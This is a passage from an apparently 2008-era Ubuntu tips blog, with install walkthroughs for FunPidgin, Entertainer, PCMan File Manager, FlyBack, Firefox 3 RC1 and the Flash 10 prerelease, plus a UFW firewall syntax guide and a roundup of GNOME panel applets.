most unobservant of followers, and as such, you are demonstrating that you no longer deserve to be in the position of servicing the needs of your user base.'" [126002160090] |Does anyone besides me find this utterly ridiculous? [126002160100] |I personally think this is rediculous on pidgin's part for not fixing these serious, popular issues and fortunately you can grab this fork with this much needed feature fixed. [126002160110] |Features: [126002160120] |
  • Every feature Pidgin has... plus:
  • [126002160130] |
  • "Entry area manual sizing" a plugin by Artemy Kapitula that allows manual resizing of the entry area.
  • [126002160140] |
  • An option to set the size of the buddy icons displayed in the chat window.
  • [126002160150] |
  • An option to let the window manager place new windows.
  • [126002160160] |
  • Two different ways of seeing that your buddies are typing.
  • [126002160170] |
  • An optional send button for Tablet PC users.
  • [126002160180] |Howto Install FunPidgin: [126002160190] |First lets remove pidgin, dont worrie about your saved passwords/convo's because funpidgin uses the same settings directory.sudo apt-get remove pidgin-data pidgin libpurple0Now that pidgin is removed lets install FunPidgin, click link or use wget:wget http://superb-west.dl.sourceforge.net/sourceforge/funpidgin/funpidgin_2.4.1-0ubuntu1_i386.debNow lets Install:dpkg -i funpidgin_2.4.1-0ubuntu1_i386.debOr double click the file above where you downloaded and and enter sudo pw, then click install. [126002160200] |You can access funpidgin via Applications->Internet->Pidgin [126002160210] |Funpidgin also supports other operating systems: [126002160220] |
  • The Redhat package was built on Archlinux. [126002160230] |For this reason it is optimized for i686. [126002160240] |The package was made using the Checkinstall spy which simplifies the often tedious process of listing files and dependencies for an RPM. [126002160250] |Again, you may have to uninstall a few existing packages or move a few files around on certain Redhat based systems.
  • [126002160260] |
  • Fedora users will probably prefer the proper Fedora 8 packages recently contributed by William J Bacher. [126002160270] |They provide the all the changes Funpidgin has made to the Pidgin codebase. [126002160280] |The official packages for libpurple and finch can be used with these because libpurple and finch are still the same in Funpidgin as they are in Pidgin.
  • [126002160290] |
  • The Windows installer was built using mingw and cygwin as per the official instructions. [126002160300] |It should behave exactly like the Windows version of Pidgin.
  • [126002160310] |Please support Funpidgin by making suggestions, and submitting bugs by visiting their site here [126002180010] |Howto: Setup Alt-Ctrl-Del to open gnome-system-monitor, Alt-Ctrl-End to open gnome-terminal! [126002180020] |Last night I was bored and created a simple bash script that uses zenity as a simple install gui and wanted to create something useful, so I figured most users migrating from windows are used to a task manager executing when alt-ctrl-del is pressed so I made this tiny script to do that for you with a nice little addition to execute gnome-terminal when Alt-Ctrl-End is pressed. [126002180030] |Note: This only works for Hardy Heron [126002180040] |Here is what the installer looks like: [126002180050] |Download [126002190010] |Howto: Use, setup, and Take advantage of the New Ubuntu Uncomplicated Firewall UFW [126002190020] |Here is an overview on howto use ufw the Uncomplicated Firewall: [126002190030] |Lets turn UFW on:sudo ufw enableWhen you initially turn the firewall on, it is in ACCEPT mode, and will accept everything incoming and outgoing until you make rulesets. [126002190040] |The simple syntax to allow an incoming/outgoing connection on a specified port to any host would be:sudo ufw allow 53To specify a protocol, append ’/protocol’ to the port. [126002190050] |For example lets enable tcp connections on port 53 incoming/outgoing:sudo ufw allow 53/tcpor for udpsudo ufw allow 53/udpYou can also allow by service name since ufw reads from /etc/servicesLets see what services are in /etc/services:cat /etc/services | less [126002190060] |As an example lets allow ssh which is port 22sudo ufw allow ssh [126002190070] |You can also use a fuller syntax, specifying the source and destination addresses and ports. [126002190080] |This syntax is based on OpenBSD’s PF syntax. [126002190090] |Which will deny all traffic to tcp port 22 on this hostufw deny proto tcp to any port 22 [126002190100] |To deny all traffic from the RFC1918 Class A network (10.0.0.0/8) to tcp port 22 with the address 192.168.0.1 we would use this:ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 22 [126002190110] |If you want to deny all traffic from the IPv6 2001:db8::/32 to tcp port 80 on this host you would use:ufw deny proto tcp from 2001:db8::/32 to any port 80 [126002190120] |To delete a rule, simply prefix the original rule with delete. [126002190130] |For example, if the original rule was:ufw deny 80/tcpUse this to delete it:sudo ufw delete deny 80/tcp [126002190140] |Lets deny all access to port 80sudo ufw deny 80Lets allow all access to port 80sudo ufw allow 80/tcp [126002190150] |Lets block a single host:sudo ufw deny from 207.46.232.182The above command blocked microsoft lolLets block microsoft's class bsudo ufw deny from 207.46.0.0/16 [126002190160] |Lets allow all access from RFC1918 networks(LAN/WLAN's) to this host:sudo ufw allow from 10.0.0.0/8sudo ufw allow from 172.16.0.0/12sudo ufw allow from 192.168.0.0/16 [126002190170] |Lets Deny access to udp port 139 from host 192.168.1.1:sudo ufw deny proto udp from 192.168.1.1 to any port 139The same thing above with tcp instead:sudo ufw deny proto tcp from 192.168.1.1 to any port 139 [126002190180] |Allow access to udp 192.168.1.1 port 22 from 192.168.1.100 port 22: [126002190190] |sudo ufw allow proto udp from 192.168.1.100 port 22 to 192.168.1.1 port 22 [126002190200] |To check the status of ufw with the ports in the listening state use:sudo ufw status [126002190210] |To disable ufw use:sudo ufw disable [126002190220] |To enable logging use:ufw logging on [126002190230] |To disable logging use:ufw logging off [126002190240] |Fore more complete information please see the Ubuntu Wiki [126002190250] |Or read the man pages via Applications->Accessories->TerminalThen type:man ufw [126002200010] |Introducing Entertainer Easy to use Media Center Solution For Ubuntu! [126002200020] |Explore the world of the entertainer project: [126002200030] |Created with Admarket's flickrSLiDR. [126002200040] |Entertainer aims to be a simple and easy-to-use media center solution for Gnome and XFce desktop environments. [126002200050] |Entertainer is written completely in Python using object-oriented programming paradigm. [126002200060] |It uses GStreamer multimedia framework for multimedia playback. [126002200070] |User Interface is implemented with Clutter UI-library, which allows sleek OpenGL animated user interfaces. [126002200080] |Entertainer also uses other great projects like SQLite, pyIMDBb and iNotify. [126002200090] |The ultimate goal of the project is to create the best media center solution available for any platform. [126002200100] |This means that Entertainer should be the best looking, most easy to use and most feature filled media center solution available. [126002200110] |Not the easiest goal to achieve. [126002200120] |It's a long way, but we have a good start here! [126002200130] |If you are interested in participating in the project, please send me an e-mail to lauri@taimila.com. [126002200140] |RSS-feed of the developer's blog. [126002200150] |Get the latest news of the project easily! [126002200160] |Here are some Features: [126002200170] |

    Movies and TV-series

    [126002200180] |You can watch movies and TV-Series from your harddrive. [126002200190] |Entertainer automatically searches and downloads metadata like cover art from the Internet. [126002200200] |

    Music library

    [126002200210] |Let's play music! [126002200220] |Entertainer allows you play your favourite tracks easily. [126002200230] |Navigate music by artst, album, genre or make your own playlists. [126002200240] |Entertainer also automatically downloads album art and lyrics of the tracks. [126002200250] |

    Photographs

    [126002200260] |Watch your family photographs from the big screen. [126002200270] |Entertainer includes a photoraph library, which allows you easily find your best shots. [126002200280] |

    RSS-reader

    [126002200290] |Entertainer includes a simple RSS-reader which allows you to read feeds right from your couch. [126002200300] |In Entertainer RSS is called Headlines since it's easier to understand for people who are not IT oriented. [126002200310] |

    Themes

    [126002200320] |Entertainer supports themeing! [126002200330] |Make your media center look just like you. [126002200340] |Creating themes is relatively easy. [126002200350] |Howto Install in Hardy Heron! [126002200360] |Open a Terminal via Applications->Accessories->TerminalGrab the dependencies...sudo apt-get install python-notify python-feedparser python-pyvorbis python-pyogg python-eyed3 python-pysqlite2 python-gtk2 python-glade2 python-clutter python-pyvorbis python-imaging python-pyinotify python-imdbpy python-cairo-dev gtk-doc-tools python-cddb subversion [126002200370] |Lets grab the source:svn checkout http://entertainer-media-center.googlecode.com/svn/trunk/ entertainerChange to entertainer directorycd entertainerLets copy the configs to our home:cp cfg ~/.entertainer -R [126002200380] |Ok great! [126002200390] |Still with me? word... [126002200400] |Lets set our media folders with this nice gui:cd src./entertainer-content-management.pyA window will pop up like this:Click add in each tab to add your media folders, rss feeds, and weather! [126002200410] |Now once your done click close. [126002200420] |Lets execute the backend, which processes the media directories/gui:./entertainer-backend.pyOnce that is setup lets execute the Frontend which is our gui to play with :)./entertainer-frontend.py [126002200430] |Now you will need the keybindings to play with the gui: [126002200440] |Entertainer can be controlled only with keyboard at the moment. [126002200450] |Here is a list of all keys: [126002200460] |
  • F - Toggle fullscreen on/off
  • [126002200470] |
  • P - Toggle pause/play when video or audio is playing.
  • [126002200480] |
  • S - Stop playback
  • [126002200490] |
  • H - Navigate to home screen. [126002200500] |Press this anywhere and main menu will be displayed.
  • [126002200510] |
  • I - Toggle information view when watching photograph in fullscreen mode
  • [126002200520] |
  • 1,2,3,4 - Change video playback aspect ratio
  • [126002200530] |
  • Arrow keys - Navigate menus
  • [126002200540] |
  • Enter - Select current menu item
  • [126002200550] |
  • Backspace - Navigate to previous screen
  • [126002200560] |Please note that this is a pre-release and work in progress program, so it will have tons of bugs and will be slow, because it isnt optimized/finished yet. [126002200570] |Please report bugs and issues at this link to help improve this awesome application [126002210010] |Introducing WeatherBug for Linux [126002210020] |I just seen a nice little widget here on my rss feed this morning that is pretty nice, its called weatherbug, Now you can Receive all the benefits of live weather streamed to your Linux Desktop! [126002210030] |Lets install weatherbug:Click here to download weatherbug to your desktop, then double click weatherbug-1.0-1.deb and click install after entering your sudo password [126002210040] |You can access WeatherBug via Applications->Accessories->Weatherbug [126002210050] |Optionally you can set it up to auto start by clicking System->Preferences->SessionsClick add enter name weatherbug then enter command weatherbug, click ok, then close and it should load up on startup! [126002210060] |View my slideshow above to learn how to use it! [126002210070] |Official Support forum hereGet newer or updated packages here [126002220010] |Keep An Eye On Web Pages, Folders and E-Mail With One Application, its call Specto! [126002220020] |Specto is a desktop application that will watch configurable events (such as website updates, emails, file and folder changes, system processes, etc) and then trigger notifications. [126002220030] |For example, Specto can watch a website for updates (or a syndication feed, or an image, etc), and notify you when there is activity (otherwise, Specto will just stay out of the way). [126002220040] |This changes the way you work, because you can be informed of events instead of having to look out for them. [126002220050] |Specto is simply a must have if you are not really interested in dealing with yet more, ad-filled RSS feeds, but at the same time, would like to be able to keep an eye on certain Web sites or manage a number of e-mail accounts. [126002220060] |Click here to install specto within Gutsy/Hardy Heron or simply search synaptic for specto or open a terminal and issue this command:sudo apt-get install spectoAccess Specto Via Applications->Accessories->Specto [126002220070] |Specto Homepage [126002230010] |Replace Nautilus with the Faster New PCMan File Manager 0.4.1.1 stable (2008-05-12) which was just Released! [126002230020] |Tired of how slow nautilus is? [126002230030] |Check out PCMan File Manager its simply amazing! [126002230040] |PCMan File Manager - Simply Rocks, It is an extremly fast and lightweight file manager which features tabbed browsing and user-friendly interface and more... [126002230050] |Features:Replaces Nautilus in Places MenuExtremly fast and lightweightCan be started in one second on normal machineTabbed browsing (Similiar to Firefox)Built-in volume management (mount/umount/eject through HAL)Drag &Drop supportFiles can be dragged among tabsLoad large directories in reasonable timeFile association support (Default application)Thumbnail for image filesBookmarks supportHandles non-UTF-8 encoded filenames correctlyProvide icon view and detailed list viewStandard compliant (Follows FreeDesktop.org)Clean and user-friendly interface (GTK+ 2) [126002230060] |Story - Why Hon Jen Yee made this software via his site: [126002230070] |
  • Konqueror is absolutely a great file manager, so is GNOME nautilus, but the problem is, I don't need that much functionality. [126002230080] |Since I'm using an old machine, what I want is lightweight, not all-in-one and very powerful. [126002230090] |I've tried ROX-filer, which really rocks, but I cannot get used to its user interface. [126002230100] |After trying XFCE thunar, I think it may be the best, but It really lacks something I desire, especially something like tabbed-browsing. [126002230110] |I surf the web, try to dig in SourceForge and Freshmeat, but nothing special found. [126002230120] |Some file managers are lightweight and fast, don't support i18n, though. [126002230130] |So, the best solution I can figure out might be developing my own. [126002230140] |That's why this project is started, and why it's named after my nickname on the internet, PCMan.
  • [126002230150] |
  • The goal of this project is not to build a huge yet powerful file manager, but a slim and useful one. [126002230160] |I'm not going to add too much functionality to this software. [126002230170] |If UNIX has told us something, that must be "One program had better do one thing, and do its best." [126002230180] |Let file manager be file manager, not a combination of web browser, media player, archiver, CD-burner, and anything you can think of. [126002230190] |A file manager containing everything actually looks like nothing, and make the newbies confusing.
  • [126002230200] |
  • I borrow the interface from Firefox, Windows Explorer, and nautilus, and try to aggregate their useful parts. [126002230210] |Most hotkeys are compatible with Firefox, so users can get used to it easily. [126002230220] |Files can be easily dragged to other tabs in the same window. [126002230230] |You can open related folders in the tabs of the same window without making the task bar over-crowded, and keep your desktop cleaner.
  • [126002230240] |
  • Currently, this software is still under development and there is still much improvement to do. [126002230250] |Anyone intreasted in this project and wants to join us is welcomed. [126002230260] |Any kind of contribution, such as testing, bug reporting, translation, patches, advertiing, and artwork are highly appreciated.
  • [126002230270] |This morning I packaged the new PCMan File manager via checkinstall, so im not quite sure if it will work well on other users systems. [126002230280] |Here is how to install PCMan File Manager:Download PCManFM Here to your desktopThen double click the file and click install, once installed you can access PCMan File Manager via Applications->System Tools->PCMan File Manager [126002230290] |Please visit the developers site here for any updates/news, and source code [126002240010] |Some Gnome Panel Applets you may not know about! [126002240020] |Here is a collection of gnome panel applets that I have found in the repositories, installed applets can be viewed and added to your gnome panel via right click on an empty panel space then click "Add to Panel" [126002240030] |Click titles to install these applets automagically within firefox if your running Gutsy or Hardy Heron [126002240040] |Check these out: [126002240050] |Bubbling Load Monitoring A GNOME panel applet that displays the CPU + memory load as a bubblingliquid. [126002240060] |Homepage: http://www.nongnu.org/bubblemon/ [126002240070] |Computer temperature Computer Temperature Monitor is a little appletfor the GNOME desktop that shows the temperatureof your CPU and disks in the panel. [126002240080] |It also allows to log temperatures to a file and set alarmsto notify the user when a temperature is reached. [126002240090] |More information: http://computertemp.berlios.de/ [126002240100] |Cpufire-AppletA gnome panel applet showing the CPU load as a fireA CPU load monitor, that comes as a gnome panel applet. [126002240110] |CPU load isdisplayed as a beautiful fire, the higher the flames the higher the CPUload. [126002240120] |Drapesa desktop wallpaper management application for the GNOME desktopThe aim of drapes is to complete (or replace) the built-in GNOME desktopwallpapers selection tool. [126002240130] |It can be configured as a tray application or as apanel applet. [126002240140] |The bigest selling point of drapes is the ability to rotatewallpapers on a timely basis. [126002240150] |It strives to be as simple as possible andfits in the rest of the GNOME 2 desktop. [126002240160] |Project Homepage: http://drapes.mindtouchsoftware.com/ [126002240170] |Gimmieelegant desktop organizerGimmie is a desktop organizer. [126002240180] |It's designed to allow easy interactionwith all the applications, contacts, documents and other things you useevery day. [126002240190] |Gimmie can be run either as a stand-alone applicationor added as a GNOME Panel applet. [126002240200] |Homepage: http://www.beatniksoftware.com/gimmie [126002240210] |GNOME IP display appletGiplet is a simple GNOME panel applet that displays your computer's IP address. [126002240220] |The IP can be either the one of a specified interface or the external one. [126002240230] |Giplet can also be set to check periodically for IP address changes. [126002240240] |Homepage: http://giplet.sourceforge.net/ [126002240250] |GlipperClipboard manager for the GNOME panelis a GNOME panel applet. [126002240260] |It maintains a history of text copiedto the clipboard from which you can choose. [126002240270] |Supports a configurablenumber and length clipboard entries and saving clipboard history on exit. [126002240280] |It also uses plugins to give the user all the extra functionality theywant, including support for Actions, Snippets and No-Paste services. [126002240290] |Homepage: http://glipper.sourceforge.net/ [126002240300] |Gnome-BlogGNOME applet to post to weblog entriesgnome-blog is a panel object (aka applet) that can post to weblogs usingbloggerAPI, advogato API, MetaWeblog API or LiveJournal APIIt notably works with Blogger.com / Blogspot.com, Advogato.org, Movable Type,WordPress, LiveJournal.com and Pybloxsom. [126002240310] |Gnome-Main-MenuGNOME start menu appletThis applet provides a "start menu" for the GNOME desktop. [126002240320] |It features a list of favorite applications, and recently used documents. [126002240330] |It also integrates with the Beagle search tool to provide search facilitiesfrom the start menu. [126002240340] |It provides shortcuts for common systemadministration actions and integrates with network-manager for networkstatus reporting. [126002240350] |Gnome randr appletSimple gnome-panel front end to the xrandr extension to change desktop resolutionGnome-randr-applet is a simple gnome-panel front end to the xrandrextension found in XFree86 4.3+ releases. [126002240360] |Gnome Voice ControlSpeech recognizer to control the GNOME DesktopThe gnome-voice-control is an applet software developedto control the GNOME Desktop by voice. [126002240370] |Homepage: http://live.gnome.org/GnomeVoiceControl [126002240380] |GooglizerA utility to search Google via your GNOME menu/panelThis is a very simple and very handy utility that just spawns theconfigured GNOME browser with a Google search on whatever you have inthe X clipboard (whatever you last selected). [126002240390] |It's not even an applet,just a program with a launcher that's nice to put on the panel - dragit there from the menu. [126002240400] |It also includes support for a command lineoption -u/--url, to specify an alternative URL to which the searchshould be appended before opening. [126002240410] |GspotA GNOME applet to query the NetA Gnome applet for Searching the web in a Practical, Outlinedand Tidy way. [126002240420] |This uses the text in the copy/paste clipboard and usesit as search string for querying web-search engines, dictionaries,web databases, etc. [126002240430] |GTodo applet for the GNOME panelgtodo-applet contains the applet of the GNOME "to do" list manager(GTodo) for the GNOME panel, that provides you with ways to easilyopen GTodo, or even check some of your to do items that are duethe current day without opening it. [126002240440] |Homepage: http://qball.homelinux.org/ [126002240450] |Hardware Monitor applet for the Gnome panelHardware Monitor is a monitor applet for the Gnome panel. [126002240460] |It supportsa variety of monitoring capabilities (CPU usage, network throughputetc.) and different kinds of viewers (curves, bars, text, flames). [126002240470] |Music AppletGNOME panel applet to control several music playersMusic Applet is a small, simple GNOME panel applet that lets you control avariety of different music players from the panel. [126002240480] |Music Applet provideseasy access to information about the current song and the most importantplayback controls. [126002240490] |Music Applet currently supports Rhythmbox, Banshee and Muine and many others. [126002240500] |GNOME2 Network Load AppletA simple textual network load monitor for the GNOME panel. [126002240510] |It shows the number of incoming/outgoing packets for the selectedinterface. [126002240520] |It is not possible to watch two network interfaces with this applet. [126002240530] |If you need this feature I suggest you try the 'netspeed' applet whichis very similar but more advanced, or 'gnome-netstatus-applet' the officialGnome2 applet for network monitoring. [126002240540] |Homepage: http://www.demonseed.net/~jp/code/netmon_applet/ [126002240550] |NetSpeedTraffic monitor applet for GNOMENetspeed is an applet for the GNOME panel that shows how much trafficoccurs on a network device (ethernet card, wireless LAN card, ordial-up). [126002240560] |OnTVGNOME Applet for monitoring current and upcoming TV programsOnTV is a GNOME Applet written in Python using PyGTK, it uses XMLTV filesto monitor current and upcoming TV programs. [126002240570] |Features include: [126002240580] |* Program descriptions as tooltips. [126002240590] |* Remaining time of/until current and upcoming programs. [126002240600] |* Program search dialog with incremental search. [126002240610] |* Global keybindings for most common actions. [126002240620] |* Program reminders. [126002240630] |* and more... [126002240640] |ResappletA small applet to change your screen resolutionIt uses XRANDR on-the-fly as well as GNOME Resolution Preferences. [126002240650] |Handy for laptops when using data projectors which only run at 1024x768. [126002240660] |Gnome Sensors Applet:Display readings from hardware sensors in your Gnome panelGNOME Sensors Applet is an applet for the GNOME panel that displaysreadings from hardware sensors, including temperatures, fan speeds andvoltage readings. [126002240670] |It can gather data from the following sources: [126002240680] |* ACPI thermal zones, via the Linux kernel ACPI modules [126002240690] |* Linux kernel i2c modules [126002240700] |* lm-sensors (libsensors) [126002240710] |* Linux kernel i8k module (for Dell Inspiron Laptops) [126002240720] |* Linux kernel ibm-acpi module [126002240730] |* Linux kernel PowerPC modules therm_adt746x and therm_windtunnel [126002240740] |* Linux kernel iMac G5 Windfarm module [126002240750] |* hddtemp daemon for reading temperatures from S.M.A.R.T. equipped hard disks [126002240760] |* Linux kernel Omnibook module [126002240770] |* NVIDIA graphics cards [126002240780] |* Linux kernel sonypi module (for Sony Vaio laptops)Alarms can be set for each sensor to notify the user once a certain high orlow value has been reached, and can be configured to execute a given commandat given repeated intervals. [126002240790] |SSHMenu for Gnome Panel:A GNOME panel applet for connecting to hosts using SSHsshmenu-gnome puts all your most frequently used SSH connections on a menuin your GNOME panel. [126002240800] |Click on a host name to open a new gnome-terminalwindow with an ssh connection to the selected host. [126002240810] |Set up options forport forwarding, etc. using the preferences dialog. [126002240820] |Timer Applettimer applet - a countdown timer applet for the GNOME panelFeatures include: [126002240830] |* Quickly set a time and the applet will notify you when time is up [126002240840] |* Create presets for quick access to frequently-used times [126002240850] |* Small and unobtrusive. [126002240860] |Choose to either view the remaining time right in the panel or hide it so you don't get distracted by the countdown. [126002240870] |* Add multiple Timer Applets to the panel to have multiple timers running simultaneously [126002240880] |* User interface follows the GNOME Human Interface Guidelines [126002240890] |TopShelfcurrent files applet for GNOMETopShelf is a simple GNOME applet which provides a place to store thefiles the user is currently working on (not right now, but in general,in a period of time). [126002240900] |Unlike a real shelf, however, TopShelf justlinks to the files; it doesn't contain them. [126002240910] |The concept of TopShelf is to contain files that are put there by theuser, as opposed to the 'recent files list' which is automaticallymanaged. [126002240920] |For example, the top shelf might contain a story the user iscurrently writing; a project for school or for work, a diary, etc. [126002240930] |Onthe other hand, music and video files would typically not be in thetop shelf (since they cycle very fast), but they would appear in therecent files list. [126002240940] |Webboard Pastebin submit AppletCopy and paste to a public pastebin serverPublish text notes and source code on a pastebin serverfor collaborative debugging. [126002240950] |WebBoard includes a stand alone app and an applet for theGNOME panel. [126002240960] |Repetitive Strain Injury (RSI) prevention tool Workrave is a program that assists in the recovery and prevention ofRepetitive Strain Injury (RSI). [126002240970] |The program frequently alerts you totake micro-pauses, rest breaks and restricts you to your daily limit. [126002240980] |It includes a system tray applet that works with Gnome and KDEand has network capabilities to monitor your activity even ifswitching back and forth between different computers is part of yourjob. [126002240990] |Workrave offers many more configuration options than other similartools. [126002250010] |Ubuntu Reference/Cheat Sheet [126002250020] |Here is a nice Cheat Sheet for newer Ubuntu Linux Users, which was originally found here Ubuntu Cheat Sheet - Upload a doc Read this doc on Scribd: Ubuntu Cheat Sheet [126002260010] |Introducing FlyBack v0.5.0 svn - Apple's Time Machine for Linux Snapshot-based backup Solution based on rsync! [126002260020] |
    Did you ever try Apple's Time Machine for OSX? [126002260030] |Well if you have and you like it, and switched from Apple to Linux you will want to give this nice little application a try, this application is currently being developed here at Google Code
    [126002260040] |How Does FlyBack work? [126002260050] |FlyBack is a snapshot-based backup tool based on rsync It creates successive backup directories mirroring the files you wish to backup, but hard-links unchanged files to the previous backup. [126002260060] |This prevents wasting disk space while providing you with full access to all your files without any sort of recovery program. [126002260070] |If your machine crashes, just move your external drive to your new machine and copy the latest backup using whatever file browser you normally use. [126002260080] |Note that this means you can selectively delete specific backups and still retain files stored in previous ones. (ie., you can delete tuesday's backup and keep monday's, without screwing up wednesday's) [126002260090] |Ways FlyBack Differs from Time Machine [126002260100] |1. There is no inotify mechanism in Linux, so FlyBack scans your entire directory structure when performing a backup. [126002260110] |2. No hard-linking [126002260120] |This morning I created a install package for everyone running gnome, it should work, let me know if you have any issues. [126002260130] |Lets get to installing shall we? [126002260140] |Click Here to install the necessary packages with apt-url or via Applications->Accessories->Terminal:sudo apt-get install python python-glade2 python-gnome2 python-sqlite3 rsync python-pysqlite2 [126002260150] |Click Here to download flyback to your desktop or any directory [126002260160] |Right Click on flyback.tar.gz and select "Extract Here.." [126002260170] |Once extracted enter the flyback directory [126002260180] |To Install double click install and select run, enter sudo password then click ok twice [126002260190] |To Uninstall double click uninstall and select run, enter sudo password then click ok twice [126002260200] |The slideshow is an good example of these steps. [126002260210] |Y can access Flyback via Applications->System Tools->flyback- [126002260220] |(optional)Alternate svn install: [126002260230] |Make sure you have the following packages installed for your correct distro: [126002260240] |Debian:sudo apt-get install python python-glade2 python-gnome2 python-sqlite3 rsyncUbuntu:sudo apt-get install python python-glade2 python-gnome2 python-sqlite3 python-gconf rsyncRedhat/Fedora:yum install pygtk2 gnome-python2-gconf pygtk2-libglade python-sqlite3 [126002260250] |Then download via svn you will need to:sudo apt-get install subversionsvn checkout http://flyback.googlecode.com/svn/trunk/ flybackcd flyback/srcTo Run:python flyback.py [126002270010] |Firefox 3 RC1 now available for download! [126002270020] |Please note: The Firefox 3 Release Candidate is a public preview release intended for developer testing and community feedback. [126002270030] |It includes new features as well as dramatic improvements to performance, memory usage and speed. [126002270040] |We recommend that you read the release notes and known issues before installing this release. [126002270050] |The first Firefox 3 Release Candidate is now available for download. [126002270060] |This milestone is focused on testing the core functionality provided by many new features and changes to the platform scheduled for Firefox 3. [126002270070] |Ongoing planning for Firefox 3 can be followed at the Firefox 3 Planning Center, as well as in mozilla.dev.planning and on irc.mozilla.org in #granparadiso. [126002270080] |New features and changes in this milestone: [126002270090] |
  • Improvements to the user interface based on user feedback, including changes to the look and feel on Windows Vista, Windows XP, Mac OS X and Linux.
  • [126002270100] |
  • Changes and fixes for new features such as the location bar autocomplete, bookmark backup and restore, full page zoom, and others, based on feedback from our community.
  • [126002270110] |
  • Fixes and improvements to platform features to improve security, web compatibility and stability.
  • [126002270120] |
  • Continued performance improvements: changes to our JavaScript engine as well as profile guided optimization continues to improve performance over previous releases as measured by the popular SunSpider test from Apple, and in the speed of web applications like Google Mail and Zoho Office.
  • [126002270130] |(You can find out more about all of these features in the “What’s New” section of the release notes.) [126002270140] |Testers can download the Firefox 3 Release Candidate builds for Windows, Mac OS X and Linux in over 45 different languages. [126002270150] |Developers should also read the Firefox 3 for Developers article on the Mozilla Developer Center. [126002270160] |Here is a quick n dirty way to run this on Linux w/o ruining your current profile [126002270170] |Click here to download it to your desktop or another directory [126002270180] |Right Click firefox-3.0rc1.tar.bz2 [126002270190] |Select Extract Here [126002270200] |Enter the firefox Directory [126002270210] |Press Alt F2 and enter the directory path like [126002270220] |/home/myname/Desktop/firefox -P [126002270230] |And create a new profile named RC1, uncheck show on start and select start, you can also drag the firefox bin to the panel for a shortcut in gnome, and name it, add -P after firefox so it executes the profile select screen. [126002280010] |Howto: Install Flash Player 10 “Astro” prerelease in Ubuntu Linux Feisty/Gutsy/Hardy! [126002280020] |Key New Features: [126002280030] |3D Effects - Easily transform and animate any display object through 3D space while retaining full interactivity. [126002280040] |Fast, lightweight, and native 3D effects make motion that was previously reserved for expert users available to everyone. [126002280050] |Complex effects are simple with APIs that extend what you already know. [126002280060] |Custom Filters and Effects - Create and share your own portable filters, blend modes, and fills using Adobe Pixel Bender™, the same technology used for many After Effects CS3 filters. [126002280070] |Shaders in Flash Player are about 1KB and can be scripted and animated at runtime. [126002280080] |Advanced Text Layout - A new, highly flexible text layout engine, co-existing with TextField, enables innovation in creating new text controls by providing low-level access to text offering right-to-left and vertical text layout, plus support for typographic elements like ligatures. [126002280090] |Enhanced Drawing API - Runtime drawing is easier and more powerful with re-styleable properties, 3D APIs, and a new way of drawing sophisticated shapes without having to code them line by line. [126002280100] |Visual Performance Improvements –Applications and videos will run smoother and faster with expanded use of hardware acceleration. [126002280110] |By moving several visual processing tasks to the video card, the CPU is free to do more. [126002280120] |See the release notes for more information regarding this prerelease technology. [126002280130] |Howto Install:First we need to remove flashplugin-nonfree if it is already installed! [126002280140] |First search synaptic via System->Administration->Synaptic Package Manager and click search and enter "flashplugin-nonfree" and right click it once found and select mark for complete removal, then click applyClick here to download [126002280150] |Right Click flashplayer10_install_linux_051508.tar.gz wherever it was downloaded to and select extract here [126002280160] |Enter the install_flash_player_10_linux directory then double click flashplayer-installer [126002280170] |Select Run in Terminal [126002280180] |Follow the instructions ie, press enter and y for yes [126002280190] |The install Process will look like this:Copyright(C) 2002-2006 Adobe Macromedia Software LLC. All rights reserved.Adobe Flash Player 10 for LinuxAdobe Flash Player 10 will be installed on this machine.You are running the Adobe Flash Player installer as a non-root user.Adobe Flash Player 10 will be installed in your home directory.Support is available at http://www.adobe.com/support/flashplayer/To install Adobe Flash Player 10 now, press ENTER.To cancel the installation at any time, press Control-C.NOTE: Please exit any browsers you may have running.Press ENTER to continue...----------- Install Action Summary -----------Adobe Flash Player 10 will be installed in the following directory:Mozilla installation directory = /home/ionstorm/.mozillaProceed with the installation? (y/n/q): yNOTE: Please ask your administrator to remove the xpti.dat from the components directory of the Mozilla or Netscape browser.Installation complete.Perform another installation? (y/n):Once installed exit all firefox instances. [126002280200] |Here is a demo to try to see if it installed correctly! [126002280210] |And here’s how to uninstall it:Open A Terminal via Applications->Accessories->Terminal1. [126002280220] |Remove the new plugin: rm ~/.mozilla/plugins/libflashplayer.so2. [126002280230] |Reinstall Flash 9 from the repositories if you like: sudo apt-get install flashplugin-nonfree [126002280240] |Alternately you can install this globally via the terminal for all users like this: [126002280250] |Open A Terminal via Applications->Accessories->TerminalCopy/paste following command:wget http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_install_linux_051508.tar.gz ; tar zxvf flashplayer10_install_linux_051508.tar.gz ; cd install_flash_player_10_linux ; sudo ./flashplayer-installerNow enter sudo password then press enter to install, when asked for a directly input, and follow what I did in the terminal by inputing /usr/lib/firefox-3.0b5 as the firefox location "will change in future when other firefox versions are released, check /usr/lib/":ionstorm@pc:~/Desktop/install_flash_player_10_linux$ sudo ./flashplayer-installerCopyright(C) 2002-2006 Adobe Macromedia Software LLC. All rights reserved.Adobe Flash Player 10 for LinuxAdobe Flash Player 10 will be installed on this machine.You are running the Adobe Flash Player installer as the "root" user.Adobe Flash Player 10 will be installed system-wide.Support is available at http://www.adobe.com/support/flashplayer/To install Adobe Flash Player 10 now, press ENTER.To cancel the installation at any time, press Control-C.NOTE: Please exit any browsers you may have running.Press ENTER to continue...Please enter the installation path of the Mozilla, Netscape,or Opera browser (i.e., /usr/lib/mozilla): /usr/lib/firefox-3.0b5----------- Install Action Summary -----------Adobe Flash Player 10 will be installed in the following directory:Browser installation directory = /usr/lib/firefox-3.0b5Proceed with the installation? (y/n/q): yInstallation complete. [126002290010] |Introducing AcetoneISO 2.0.2 ISO mounter, encrypter, converter, ripper, divx encoder and ISO Player all in one CD/DVD Image Solution! [126002290020] |I have known about this application for quite a while now but was waiting a bit because the acetone team was planning a ton of new features which they just added. [126002290030] |We also have plenty more features worth waiting for so lets take a look of what this powerful application can do for you. [126002290040] |Take a look at the minimalistic design: [126002290050] |More features can be unleashed via the drop down menu's. [126002290060] |These are AcetoneISO's Features: [126002290070] |- Mount automatically ISO, MDF, NRG, BIN, NRG without the need to insert admin password! [126002290080] |- A nice display which shows current images mounted and possibility to click on it to quickly reopen mounted image [126002290090] |- Convert 2 ISO all image types: *.bin *.mdf *.nrg *.img *.daa *.dmg *.cdi *.b5i *.bwi *.pdi and much more [126002290100] |- Extract images content to a folder: *.bin *.mdf *.nrg *.img *.daa *.dmg *.cdi *.b5i *.bwi *.pdi and much more [126002290110] |- Play a DVD Movie Image 